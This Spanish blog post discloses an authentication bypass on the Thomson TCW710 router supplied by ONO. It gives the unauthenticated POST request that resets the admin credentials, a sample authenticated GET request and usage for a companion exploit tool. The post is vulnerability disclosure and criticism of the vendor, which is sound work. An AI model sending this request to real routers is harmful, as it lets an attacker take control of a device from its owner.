En este artículo voy a comentar una situación curiosa que me ocurrió el otro día al configurar el router que me ha “regalado” ONO, un Thomson TCW710.

Cual fue mi sorpresa cuando, tras publicar un video en Twitter en el que mostraba el proceso, una persona me comentó que el problema ya había sido reportado para el modelo TCW690. Como podemos comprobar, en Thomson (y ¿ONO?) no se toman en serio los problemas de seguridad, y más este que permite obtener el control del router (y quitarselo a su dueño).


Al final del artículo se enlaza el código de la aplicación utilizada en el video. Además, añado el enlace a la publicación del fallo del modelo TCW690.

¡Comencemos!

Disclaimer:
No me hago responsable del mal uso que pueda darse a esta información o al código de la aplicación que la complementa.

Como todos sabemos, cuando intentas acceder a la configuración del router, te suele saltar la petición de credenciales, y en el caso de que no sean correctos, no puedes acceder. ¿Lógico no?

En el caso de los routers Thomson (voy a generalizar, pero entender que me refiero a esos dos modelos en concreto, no tengo conocimiento de ningún otro), ocurre una situación un tanto curiosa, y es que el sistema únicamente bloquea las peticiones GET, pudiendo seguir realizando POSTS sin ningún problema.

A pesar de que sea un problema importante (pues permite modificar la configuración del router sin necesidad de estar autenticado) es aun peor cuando se comprueba que el software del mismo no pide los credenciales actuales al ir a modificarlos (se entiende que si estas autenticado te la sabes, pero eso ya no es un argumento válido para no añadir una medida más de protección, y más si da la opción de acceder remotamente al panel de administración), por lo que podemos registrar los que queramos (o poner los de fábrica para levantar menos sospechas) y poder acceder mediante la interfaz web.

La petición POST a realizar para modificar los credenciales es:

http://192.168.0.1/goform/RgSecurity
HttpUserId=USER&Password=PASSWD&PasswordReEnter=PA SSWD&RestoreFactoryNo=0x00


Una vez realizada la petición, ya podríamos acceder mediante la interfaz web.
En el caso de que quisieramos automatizar tareas y comenzar a realizar peticiones GET para obtener información, hay que añadir en la cabecera Authorization con valor Basic auth_en_b64.

El valor no es más que el usuario y contraseña separados por ‘:’ y codificados en base64. Un ejemplo (el utilizado en la aplicación para obtener la información del router) podría ser:

Petición: http://192.168.0.1/RgSwInfo.asp
Usuario: (vacio)
Contraseña: admin
Auth: :admin --> OmFkbWlu

GET http://192.168.0.1/RgSwInfo.asp
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
X-Behavioral-Ad-Opt-Out: 1
X-Do-Not-Track: 1
Authorization: Basic OmFkbWlu
Cache-Control: max-age=0

¡Hasta aquí todo! Ya para terminar…

Os enlazo el video que publiqué con todo el proceso:

[YOUTUBE]http://www.youtube.com/watch?v=KBFfNi_eVOo&feature=player_embedded[/YOUTUBE]

Con respecto a la aplicación, la podéis descargar de aquí.

Su utilización es la siguiente:
(bypassThomson.jar) -h [ip_router] -u [user] -p [password] -info [opc.muestra_info_router]

El reporte del fallo en el Thomson TCW690 podéis encontrarlo aquí. Por lo que pone en la información del exploit, lo reportó un tal MurDoK.

Y vosotros, ¿conocéis FAILs de otros routers?

Artículo por Luis Delgado J.